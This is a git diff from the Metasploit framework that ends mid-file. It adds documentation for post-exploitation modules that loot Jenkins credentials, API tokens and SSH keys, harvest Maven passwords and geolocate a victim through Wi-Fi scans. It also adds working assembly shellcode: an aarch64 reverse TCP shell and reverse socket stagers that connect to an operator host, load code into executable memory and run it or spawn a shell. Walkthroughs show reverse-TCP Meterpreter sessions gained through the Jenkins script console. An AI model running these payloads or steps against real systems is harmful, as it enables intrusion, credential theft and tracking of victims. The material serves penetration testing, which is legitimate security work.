meterpreter > python_execute "x = 'hello world'; print x" [+] Content written to stdout: hello world -meterpreter > +meterpreter > ``` Another way to execute Python code is from a local file by using the ```python_import``` command. @@ -503,13 +503,13 @@ To learn more about the Python extension, please read this [wiki](https://github **Network Pivoting** -There are three mains ways that you can use for moving around inside a network: +There are three mains ways that you can use for moving around inside a network: - The route command in the msf prompt - The route command in the the Meterpreter prompt - The portfwd command -***Routing through msfconsole*** +***Routing through msfconsole*** The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig: @@ -547,7 +547,7 @@ IPv4 Netmask : 255.255.255.255 ... ``` -The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A. +The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A. At the msf prompt, do: @@ -566,7 +566,7 @@ msf auxiliary(smb_version) > run [*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf auxiliary(smb_version) > +msf auxiliary(smb_version) > ``` Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB. @@ -628,7 +628,7 @@ The timeout control basically defines the life span of Meterpreter. To configure ```set_timeouts``` command: ``` -meterpreter > set_timeouts +meterpreter > set_timeouts Usage: set_timeouts [options] Set the current timeout options. @@ -671,7 +671,7 @@ meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client ->> +>> ``` **The client object** diff --git a/documentation/modules/post/hardware/automotive/getvinfo.md b/documentation/modules/post/hardware/automotive/getvinfo.md index 2f69b26c1e..4af4e47892 100644 --- a/documentation/modules/post/hardware/automotive/getvinfo.md +++ b/documentation/modules/post/hardware/automotive/getvinfo.md @@ -24,7 +24,15 @@ PIDs to ASCII. **CLEAR_DTCS*** - If any Diagnostic Trouble Codes (DTCs) are present it will clear those and reset the MIL (Enginge Light) + If any Diagnostic Trouble Codes (DTCs) are present it will clear those and reset the MIL (Engine Light). + + **PADDING** + + Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default. + + **FC** + + Optional. If true forces sending flow control packets on all multibyte ISO-TP requests ## Scenarios diff --git a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md index 154ac37cba..af5c60225f 100644 --- a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md +++ b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md @@ -1,4 +1,4 @@ -Port of a brute force utility by LegacySecurityGroup, the original can be found +Port of a brute force utility by Corey Harding of LegacySecurityGroup.com, the original can be found [here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py). It's a generic AM/OOK brute forcer with PWM translations. It has been demonstrated to work against static key garage door openers. diff --git a/documentation/modules/post/linux/gather/checkcontainer.md b/documentation/modules/post/linux/gather/checkcontainer.md new file mode 100644 index 0000000000..5b5e50602e --- /dev/null +++ b/documentation/modules/post/linux/gather/checkcontainer.md @@ -0,0 +1,76 @@ +## Indicators + + There are several indicators that a process is being executed inside of a container. This module looks for the following indicators: + + 1. Presence of `/.dockerenv` file indicates Docker. + 2. Finding select strings in `/proc/1/cgroup` indicates LXC or Docker. + 3. The value of the `container` environment variable in `/proc/1/environ` indicates LXC or systemd nspawn. + +## Verification Steps + + 1. Start msfconsole + 2. Get a session via exploit of your choice + 3. `run post/linux/gather/checkcontainer` + 4. You should get feedback if a container was detected + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions -l` + +## Scenarios + + Check if the jenkins instance you have a shell on is running inside a Docker container. + +``` +msf > use exploit/multi/http/jenkins_script_console +msf exploit(jenkins_script_console) > set API_TOKEN bc3dbc5c328733cc826c15772e6eaef5 +API_TOKEN => bc3dbc5c328733cc826c15772e6eaef5 +msf exploit(jenkins_script_console) > set RHOST 10.0.0.40 +RHOST => 10.0.0.40 +msf exploit(jenkins_script_console) > set RPORT 8080 +RPORT => 8080 +msf exploit(jenkins_script_console) > set TARGETURI / +TARGETURI => / +msf exploit(jenkins_script_console) > set TARGET 1 +TARGET => 1 +msf exploit(jenkins_script_console) > set USERNAME user +USERNAME => user +msf exploit(jenkins_script_console) > run + +[*] Started reverse TCP handler on 10.0.0.49:4444 +[*] Checking access to the script console +[*] Authenticating with token... +[*] Using CSRF token: 'b83d12171ba5248100f1de20e6472067' (Jenkins-Crumb style) +[*] 10.0.0.40:8080 - Sending Linux stager... +[*] Sending stage (826840 bytes) to 10.0.0.40 +[*] Meterpreter session 1 opened (10.0.0.49:4444 -> 10.0.0.40:54404) at 2017-08-16 20:56:23 -0500 +[!] Deleting /tmp/aFdmPcC payload file + +meterpreter > run post/linux/gather/checkcontainer + +[+] This appears to be a 'Docker' container +meterpreter > +``` +Detect a LXC container +``` +meterpreter > run post/linux/gather/checkcontainer + +[+] This appears to be a 'LXC' container +meterpreter > +``` +Detect a systemd nspawn container +``` +meterpreter > run post/linux/gather/checkcontainer + +[+] This appears to be a 'systemd nspawn' container +meterpreter > +``` +Detect nothing +``` +meterpreter > run post/linux/gather/checkcontainer + +[*] This does not appear to be a container +meterpreter > +``` \ No newline at end of file diff --git a/documentation/modules/post/multi/gather/jenkins_gather.md b/documentation/modules/post/multi/gather/jenkins_gather.md new file mode 100644 index 0000000000..9bfd696ecc --- /dev/null +++ b/documentation/modules/post/multi/gather/jenkins_gather.md @@ -0,0 +1,206 @@ +## Vulnerable Application + + Official Source: +[Jenkins](https://jenkins.io/download/) + +This module has been verified against: + + 1. Jenkins 2.67 on Ubuntu 16.04 in Docker + 1. Jenkins 2.67 on Windows 7 SP 1 + 1. Jenkins 2.60.1 + 1. Jenkins 1.56 + +## Verification Steps + + 1. Set up Jenkins to obtain a shell (use Docker for quick setup) + 1. Run `docker run -p 8080:8080 -p 50000:50000 jenkins` + 1. Use the default setup and install "suggested plugins" + 1. Create new user admin, add a user or credential (via Manage Jenkins) + 1. Start msfconsole + 1. We'll use the `jenkins_script_console` module to quickly gain a shell + 1. Do: ```use exploit/multi/http/jenkins_script_console``` + 1. Do: ```set RHOST 172.17.0.1``` + 1. Do: ```set RPORT 8080``` + 1. Do: ```set TARGETURI /``` + 1. Do: ```set USERNAME admin``` + 1. Do: ```set PASSWORD or set API_TOKEN``` + 1. Do: ```set TARGET 1``` + 1. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp``` + 1. Do: ```set LHOST 192.168.56.105``` + 1. Do: ```exploit -j``` + 1. Do: ```use post/multi/gather/jenkins_gather``` + 1. Do: ```set SESSION 1``` + 1. Do: ```run``` + 1. You should see the saved credentials output + +## Options + + **SEARCH_JOBS** + + This option searches through the `jobs` folder for interesting +keywords but obviously increases runtime on larger instances. + + **STORE_LOOT** + + This option saves interesting files and loot to disk. If set to +false will simply output data to console. + +## Scenarios + +**Jenkins on Windows** + +``` +msf post(jenkins_gather) > sessions + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 18 shell x86/linux 192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1) + 20 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2) + 21 meterpreter x86/windows NT AUTHORITY\SYSTEM @ kali 192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101) + 23 shell x86/windows 192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101) + +msf post(jenkins_gather) > info + + Name: Jenkins Credential Collector + Module: post/multi/gather/jenkins_gather + Platform: Linux, Windows + Arch: + Rank: Normal + +Provided by: + thesubtlety + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime. + SESSION 17 yes The session to run this module on. + STORE_LOOT true no Store files in loot (will simply output file to console if set to false). + +Description: + This module can be used to extract saved Jenkins credentials, user + tokens, SSH keys, and secrets. Interesting files will be stored in + loot along with combined csv output. + + +msf post(jenkins_gather) > run + +[*] Searching for Jenkins directory... This could take some time... +[*] Found Jenkins installation at C:\Program Files\Jenkins +[+] Credentials found - Username: user1 Password: Password123456 +[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description +[+] Job Info found - Job Name: User: testpass Password: secretpass123 +[+] Job Info found - Job Name: User: testpass Password: ohwowosupersecret +[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad +[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8 +[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012 +[*] Searching through job history for interesting bits... +[+] Job Log truffles: +C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" +C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret" +... +C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" +C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret" +[+] +Creds +===== + + Username Password Description + -------- -------- ----------- + + testpass secretpass123 + testpass ohwowosupersecret + user1 Password123456 + +[+] +API Keys +======== + + Username API Tokens + -------- ---------- + admin 8a114e0fa48c1a489c39b98e94c986c8 + useruseruser 6810c3f6ccca939ac2a8b8ac4b9de012 + +[+] +Nodes +===== + + Node Name Hostname Port Description Cred Id + --------- -------- ---- ----------- ------- + test hostnode1.lab.local 22 testtesttest 972fc428-dd7c-46ea-a119-be78ae0866ad + +[+] SSH Key +[*] ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 +[*] Description: interesting description +[*] Passphrase: secretpassphrase123 +[*] Username: sshkey1 +[*] +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU +...snip... +7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko +-----END RSA PRIVATE KEY----- + +[*] Post module execution completed + + +``` + +**Jenkins 2.67 on Ubuntu 16.04** + +``` +msf post(jenkins_gather) > set session 20 +session => 18 +msf post(jenkins_gather) > info + + Name: Jenkins Credential Collector + Module: post/multi/gather/jenkins_gather + Platform: Linux, Windows + Arch: + Rank: Normal + +Provided by: + thesubtlety + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime. + SESSION 17 yes The session to run this module on. + STORE_LOOT true no Store files in loot (will simply output file to console if set to false). + +Description: + This module can be used to extract saved Jenkins credentials, user + tokens, SSH keys, and secrets. Interesting files will be stored in + loot along with combined csv output. + +msf post(jenkins_gather) > run + +[*] Searching for Jenkins directory... This could take some time... +[*] Found Jenkins installation at /root/.jenkins +[+] Credentials found - Username: thanksforthefish Password: whatagreatbook +[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d +[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c +[*] Searching through job history for interesting bits... +[+] +Creds +===== + + Username Password Description + -------- -------- ----------- + thanksforthefish whatagreatbook + +[+] +API Keys +======== + + Username API Tokens + -------- ---------- + admin 9da706c125a4b5a4c19b1f799723175c + user1 859e1d6ee6ab85804434fa5395ab962d + +[*] Post module execution completed +``` diff --git a/documentation/modules/post/multi/gather/maven_creds.md b/documentation/modules/post/multi/gather/maven_creds.md new file mode 100644 index 0000000000..3c7235021d --- /dev/null +++ b/documentation/modules/post/multi/gather/maven_creds.md @@ -0,0 +1,64 @@ +## Vulnerable Application + +[Maven](https://maven.apache.org/) a software project management. +This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them. +Credentials are store in the tag ; the module also tries to cross the identifier found with the or + tag in order to find the full realm the credentials belong to. + +This module was successfully tested against: + +- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type +- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type + +## Verification Steps + + 1. Get a `shell` or `meterpreter` session on some host. + 2. Do: ```use post/multi/gather/maven_creds``` + 3. Do: ```set SESSION [SESSION_ID]``` + 4. Do: ```run``` + 5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out. + +## Scenarios + +### Ubuntu 14.04 and Maven version 3.0.5 + +``` +msf post(maven_creds) > run + +[*] Finding user directories +[*] Unix OS detected +[*] Looting 19 files +[*] Downloading /home/user/settings.xml +[*] Reading settings.xml file from /home/user/settings.xml +[*] Collected the following credentials: +[*] Id: server-nexus-dev +[*] Username: deploynexus-dev +[*] Password: password-dev +[*] Try to find url from id... +[*] No url found, id will be set as realm + +[*] Collected the following credentials: +[*] Id: server-nexus-int +[*] Username: deploynexus-int +[*] Password: password-int +[*] Try to find url from id... +[*] Found url in mirror : http://www.myhost.com/int + +[*] Collected the following credentials: +[*] Id: server-nexus-prd +[*] Username: deploynexus-prd +[*] Password: password-prd +[*] Try to find url from id... +[*] Found url in repository : http://www.myhost.com/prd + + +msf post(maven_creds) > creds + +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ + deploynexus-dev password-dev server-nexus-dev Password + deploynexus-int password-int http://www.myhost.com/int Password + deploynexus-prd password-prd http://www.myhost.com/prd Password \ No newline at end of file diff --git a/documentation/modules/post/multi/gather/wlan_geolocate.md b/documentation/modules/post/multi/gather/wlan_geolocate.md new file mode 100644 index 0000000000..e8a9d33f26 --- /dev/null +++ b/documentation/modules/post/multi/gather/wlan_geolocate.md @@ -0,0 +1,66 @@ +## Creating A Testing Environment + + For this module to work you need a box with a wireless adapter. The following methods are used to gather + wireless information from the host: + + - Windows: `netsh wlan show networks mode=bssid` + - OSX: `/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s` + - Linux: `iwlist scanning` + - Solaris: `dladm scan-wifi` + - BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"` + + If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized. + These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them. The original + methodology used by this module in [#3280](https://github.com/rapid7/metasploit-framework/pull/3280), + which didn't require an API key, was found to no longer work in [#8928](https://github.com/rapid7/metasploit-framework/issues/8928). + +## Verification Steps + + 1. Start msfconsole + 2. Obatin a meterpreter session via whatever method + 3. Do: `use post/multi/gather/wlan_geolocate` + 4. Do: `set session #` + 5. Do: `set apikey [key]` + 5. Do: `run` + +## Options + + **geolocate** + + A boolean on if wireless information should only be gathered, or the Google geolocate API should be used to geo the victim. Defaults to `false` + + **apikey** + + A string containing the Google provided geolocation api key. **REQUIRED** if `geolocate` is set to true. Defaults to empty string + +## Scenarios + +### Windows 10 + + resource (met_rev.rc)> use exploit/multi/handler + resource (met_rev.rc)> set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + resource (met_rev.rc)> setg lhost 2.2.2.2 + lhost => 2.2.2.2 + resource (met_rev.rc)> set lport 9876 + lport => 9876 + resource (met_rev.rc)> setg verbose true + verbose => true + resource (met_rev.rc)> exploit + [*] Exploit running as background job 0. + [*] Started reverse TCP handler on 2.2.2.2:9876 + [*] Sending stage (179267 bytes) to 1.1.1.1 + [*] Meterpreter session 1 opened (2.2.2.2:9876 -> 1.1.1.1:16111) at 2017-10-01 19:27:15 -0400 + + resource (met_rev.rc)> use post/multi/gather/wlan_geolocate + resource (met_rev.rc)> set geolocate true + geolocate => true + resource (met_rev.rc)> set session 1 + session => 1 + resource (met_rev.rc)> set apikey ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12 + apikey => ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12 + msf post(wlan_geolocate) > run + [+] Wireless list saved to loot. + [*] Google indicates the device is within 30.0 meters of 30.3861197,-97.7385878. + [*] Google Maps URL: https://maps.google.com/?q=30.3861197,-97.7385878 + [*] Post module execution completed diff --git a/modules/post/windows/manage/archmigrate.md b/documentation/modules/post/windows/manage/archmigrate.md similarity index 87% rename from modules/post/windows/manage/archmigrate.md rename to documentation/modules/post/windows/manage/archmigrate.md index 0b67c71ce2..dc0e4aefda 100644 --- a/modules/post/windows/manage/archmigrate.md +++ b/documentation/modules/post/windows/manage/archmigrate.md @@ -1,5 +1,6 @@ ## Creating A Testing Environment - To use this module you need an x86 executable type meterpreter on a x64 windows machine. + +To use this module you need an x86 executable type meterpreter on a x64 windows machine. This module has been tested against: @@ -23,9 +24,10 @@ This module was not tested against, but may work against: ### Windows 10 x64 +``` msf exploit(handler) > run - [*] Started reverse TCP handler on :4567 + [*] Started reverse TCP handler on :4567 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to [*] Meterpreter session 1 opened (:4567 -> :50917) at 2017-03-22 11:43:42 -0500 @@ -39,8 +41,8 @@ This module was not tested against, but may work against: Logged On Users : 2 Meterpreter : x86/windows meterpreter > background - [*] Backgrounding session 1... - msf exploit(handler) > use post/windows/manage/archmigrate + [*] Backgrounding session 1... + msf exploit(handler) > use post/windows/manage/archmigrate msf post(archmigrate) > set session 1 session => 1 msf post(archmigrate) > run @@ -70,4 +72,5 @@ This module was not tested against, but may work against: System Language : en_US Domain : WORKGROUP Logged On Users : 2 - Meterpreter : x64/windows \ No newline at end of file + Meterpreter : x64/windows +``` diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md index 4a7131fe32..b3d9e96440 100644 --- a/documentation/modules/post/windows/manage/priv_migrate.md +++ b/documentation/modules/post/windows/manage/priv_migrate.md @@ -56,7 +56,7 @@ set PAYLOAD windows/meterpreter/reverse_https set LHOST 192.168.1.101 set LPORT 13002 set ExitOnSession false -set AutoRunScript multi_console_command -rc /home/user/auto.rc +set AutoRunScript multi_console_command -r /home/user/auto.rc exploit -j ``` diff --git a/external/source/meterpreter/README b/external/source/meterpreter/README index 5fd64608e6..d22b98ad8b 100644 --- a/external/source/meterpreter/README +++ b/external/source/meterpreter/README @@ -1,2 +1,2 @@ -Meterpreter source code has moved to its own repository, hosted at -https://github.com/rapid7/meterpreter +Meterpreter source code is part of the metasploit-payloads repository, hosted at +https://github.com/rapid7/metasploit-payloads diff --git a/external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s b/external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s new file mode 100644 index 0000000000..29bad24a2e --- /dev/null +++ b/external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s @@ -0,0 +1,72 @@ +.equ SYS_SOCKET, 0xc6 +.equ SYS_CONNECT, 0xcb +.equ SYS_DUP3, 0x18 +.equ SYS_EXECVE, 0xdd +.equ SYS_EXIT, 0x5d + +.equ AF_INET, 0x2 +.equ SOCK_STREAM, 0x1 + +.equ STDIN, 0x0 +.equ STDOUT, 0x1 +.equ STDERR, 0x2 + +.equ IP, 0x0100007f +.equ PORT, 0x5C11 + +_start: + // sockfd = socket(AF_INET, SOCK_STREAM, 0) + mov x0, AF_INET + mov x1, SOCK_STREAM + mov x2, 0 + mov x8, SYS_SOCKET + svc 0 + mov x3, x0 + + // connect(sockfd, (struct sockaddr *)&server, sockaddr_len) + adr x1, sockaddr + mov x2, 0x10 + mov x8, SYS_CONNECT + svc 0 + cbnz w0, exit + + // dup3(sockfd, STDIN, 0) ... + mov x0, x3 + mov x2, 0 + mov x1, STDIN + mov x8, SYS_DUP3 + svc 0 + mov x1, STDOUT + mov x8, SYS_DUP3 + svc 0 + mov x1, STDERR + mov x8, SYS_DUP3 + svc 0 + + // execve('/system/bin/sh', NULL, NULL) + adr x0, shell + mov x2, 0 + str x0, [sp, 0] + str x2, [sp, 8] + mov x1, sp + mov x8, SYS_EXECVE + svc 0 + +exit: + mov x0, 0 + mov x8, SYS_EXIT + svc 0 + +.balign 4 +sockaddr: + .short AF_INET + .short PORT + .word IP + +shell: +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 +end: + diff --git a/external/source/shellcode/linux/aarch64/stage_mettle.s b/external/source/shellcode/linux/aarch64/stage_mettle.s new file mode 100644 index 0000000000..0092c737ef --- /dev/null +++ b/external/source/shellcode/linux/aarch64/stage_mettle.s @@ -0,0 +1,98 @@ +.equ SYS_READ, 0x3f +.equ SYS_MMAP, 0xde +.equ SYS_EXIT, 0x5d + +start: + adr x2, size + ldr w2, [x2] + mov x10, x2 + + /* Page-align, assume <4GB */ + lsr x2, x2, #12 + add x2, x2, #1 + lsl x2, x2, #12 + + /* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */ + mov x0, xzr + mov x1, x2 + mov x2, #7 + mov x3, #34 + mov x4, xzr + mov x5, xzr + mov x8, SYS_MMAP + svc 0 + + /* Grab the saved size, save the address */ + mov x4, x10 + + /* Save the memory address */ + mov x3, x0 + mov x10, x0 + +read_loop: + /* read(sockfd, buf='x3', nbytes='x4') */ + mov x0, x12 + mov x1, x3 + mov x2, x4 + mov x8, SYS_READ + svc 0 + cbz w0, failed + add x3, x3, x0 + subs x4, x4, x0 + bne read_loop + + /* add entry_offset */ + adr x0, entry + ldr x0, [x0] + add x0, x0, x10 + mov x14, x0 + + /* set up the initial stack */ + mov x0, sp + and sp, x0, #-16 + add sp, sp, #(16 * 6) + + /* argc = 2, argv[0] = 'm' */ + mov x0, #2 + mov x1, #109 + str x1, [sp] + mov x1, sp + + mov x2, x12 + mov x3, 0 + + mov x4, 0 + mov x5, #7 /* AT_BASE */ + + mov x6, x10 + mov x7, #6 /* AT_PAGESZ */ + + mov x8, #0x1000 + mov x9, #25 /* AT_RANDOM */ + + mov x10, x10 + mov x11, #0 /* AT_NULL */ + + stp x10, x11, [sp, #-16]! + stp x8, x9, [sp, #-16]! + stp x6, x7, [sp, #-16]! + stp x4, x5, [sp, #-16]! + stp x2, x3, [sp, #-16]! + stp x0, x1, [sp, #-16]! + + mov x29, #0 + mov x30, #0 + br x14 + +failed: + mov x0, 0 + mov x8, SYS_EXIT + svc 0 + +.balign 16 +size: + .word 0 + .word 0 +entry: + .word 0 + .word 0 diff --git a/external/source/shellcode/linux/aarch64/stage_shell.s b/external/source/shellcode/linux/aarch64/stage_shell.s new file mode 100644 index 0000000000..5c203a7403 --- /dev/null +++ b/external/source/shellcode/linux/aarch64/stage_shell.s @@ -0,0 +1,44 @@ +.equ SYS_DUP3, 0x18 +.equ SYS_EXECVE, 0xdd +.equ SYS_EXIT, 0x5d + +.equ STDIN, 0x0 +.equ STDOUT, 0x1 +.equ STDERR, 0x2 + +_start: + /* dup3(sockfd, STDIN, 0) ... */ + mov x0, x12 + mov x2, 0 + mov x1, STDIN + mov x8, SYS_DUP3 + svc 0 + mov x1, STDOUT + mov x8, SYS_DUP3 + svc 0 + mov x1, STDERR + mov x8, SYS_DUP3 + svc 0 + + /* execve('/system/bin/sh', NULL, NULL) */ + adr x0, shell + mov x2, 0 + str x0, [sp, 0] + str x2, [sp, 8] + mov x1, sp + mov x8, SYS_EXECVE + svc 0 + +exit: + mov x0, 0 + mov x8, SYS_EXIT + svc 0 + +.balign 4 +shell: +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 +end: + diff --git a/external/source/shellcode/linux/aarch64/stager_sock_reverse.s b/external/source/shellcode/linux/aarch64/stager_sock_reverse.s new file mode 100644 index 0000000000..f8b354fbc5 --- /dev/null +++ b/external/source/shellcode/linux/aarch64/stager_sock_reverse.s @@ -0,0 +1,98 @@ +.equ SYS_SOCKET, 0xc6 +.equ SYS_CONNECT, 0xcb +.equ SYS_READ, 0x3f +.equ SYS_MMAP, 0xde +.equ SYS_EXIT, 0x5d + +.equ AF_INET, 0x2 +.equ SOCK_STREAM, 0x1 + +.equ STDIN, 0x0 +.equ STDOUT, 0x1 +.equ STDERR, 0x2 + +.equ IP, 0x0100007f +.equ PORT, 0x5C11 + +start: + /* sockfd = socket(AF_INET, SOCK_STREAM, 0) */ + mov x0, AF_INET + mov x1, SOCK_STREAM + mov x2, 0 + mov x8, SYS_SOCKET + svc 0 + mov x12, x0 + + /* connect(sockfd, (struct sockaddr *)&server, sockaddr_len) */ + adr x1, sockaddr + mov x2, 0x10 + mov x8, SYS_CONNECT + svc 0 + cbnz w0, failed + + /* read(sockfd, buf='x1', nbytes=4) */ + mov x0, x12 + sub sp, sp, #16 + mov x1, sp + mov x2, #4 + mov x8, SYS_READ + svc 0 + cmn x0, #0x1 + beq failed + + ldr w2, [sp,#0] + + /* Page-align, assume <4GB */ + lsr x2, x2, #12 + add x2, x2, #1 + lsl x2, x2, #12 + + /* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */ + mov x0, xzr + mov x1, x2 + mov x2, #7 + mov x3, #34 + mov x4, xzr + mov x5, xzr + mov x8, SYS_MMAP + svc 0 + cmn x0, #0x1 + beq failed + + /* Grab the saved size, save the address */ + ldr w4, [sp] + + /* Save the memory address */ + str x0, [sp] + + /* Read in all of the data */ + mov x3, x0 + +read_loop: + /* read(sockfd, buf='x3', nbytes='x4') */ + mov x0, x12 + mov x1, x3 + mov x2, x4 + mov x8, SYS_READ + svc 0 + cmn x0, #0x1 + beq failed + add x3, x3, x0 + subs x4, x4, x0 + bne read_loop + + /* Go to shellcode */ + ldr x0, [sp] + blr x0 + +failed: + mov x0, 0 + mov x8, SYS_EXIT + svc 0 + +.balign 4 +sockaddr: +.short AF_INET +.short PORT +.word IP + diff --git a/external/source/shellcode/linux/armle/stager_sock_reverse.s b/external/source/shellcode/linux/armle/stager_sock_reverse.s index ed4e63c11c..bb4f0a303a 100644 --- a/external/source/shellcode/linux/armle/stager_sock_reverse.s +++ b/external/source/shellcode/linux/armle/stager_sock_reverse.s @@ -2,7 +2,7 @@ @ @ Name: stager_sock_reverse @ Qualities: - -@ Authors: nemo +@ Authors: nemo , tkmru @ License: MSF_LICENSE @ Description: @ @@ -34,20 +34,26 @@ _start: mov r1,#1 @ type = SOCK_STREAM mov r2,#6 @ protocol = IPPROTO_TCP swi 0 + cmp r0, #0 + blt failed @ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); - mov r12,r0 @ sockfd + mov r12,r0 @ sockfd add r7,#2 @ __NR_socket - add r1,pc,#144 @ *addr + add r1,pc,#196 @ *addr mov r2,#16 @ addrlen swi 0 + cmp r0, #0 + blt failed @ ssize_t recv(int sockfd, void *buf, size_t len, int flags); - mov r0,r12 @ sockfd + mov r0,r12 @ sockfd sub sp,#4 add r7,#8 @ __NR_recv mov r1,sp @ *buf (on the stack) mov r2,#4 @ len mov r3,#0 @ flags swi 0 + cmp r0, #0 + blt failed @ round length ldr r1,[sp,#0] ldr r3,=0xfffff000 @@ -59,10 +65,12 @@ _start: mov r7, #192 @ __NR_mmap2 ldr r0,=0xffffffff @ *addr = NULL mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC - ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE + ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE mov r4,r0 @ fd mov r5,#0 @ pgoffset swi 0 + cmn r0, #1 + beq failed @ recv loop @ ssize_t recv(int sockfd, void *buf, size_t len, int flags); add r7,#99 @ __NR_recv @@ -77,16 +85,24 @@ loop: cmp r2, #0 ble last mov r2,#1000 @ len - swi 0 + swi 0 + cmp r0, #0 + blt failed b loop last: add r2,#1000 @ len swi 0 + cmp r0, #0 + blt failed @ branch to code mov pc,r1 +failed: + mov r7, #1 + mov r0, #1 + swi 0 @ addr @ port: 4444 , sin_fam = 2 -.word 0x5c110002 +.word 0x5c110002 @ ip: 127.0.0.1 .word 0x01aca8c0 @.word 0x0100007f diff --git a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm index e14a06a1d8..19d3aab641 100644 --- a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm +++ b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm @@ -1,9 +1,9 @@ ;; -; +; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1512 $ -; License: +; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as @@ -33,11 +33,13 @@ BITS 32 GLOBAL _start _start: + push 0x5 ; retry counter + pop esi + +create_socket: xor ebx, ebx mul ebx - -; int socket(int domain, int type, int protocol); -socket: + ; int socket(int domain, int type, int protocol); push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp inc ebx ; 1 = SYS_SOCKET push ebx ; type = 1 = SOCK_STREAM @@ -47,13 +49,15 @@ socket: int 0x80 xchg eax, edi -; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); -connect: - pop ebx +set_address: + pop ebx ; set ebx back to zero push dword 0x0100007f ; addr->sin_addr = 127.0.0.1 push 0xbfbf0002 ; addr->sin_port = 49087 ; addr->sin_family = 2 = AF_INET mov ecx, esp ; ecx = addr + +; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +try_connect: push byte 0x66 ; __NR_socketcall pop eax push eax ; addrlen @@ -62,6 +66,22 @@ connect: mov ecx, esp ; socketcall args inc ebx ; 3 = SYS_CONNECT int 0x80 + test 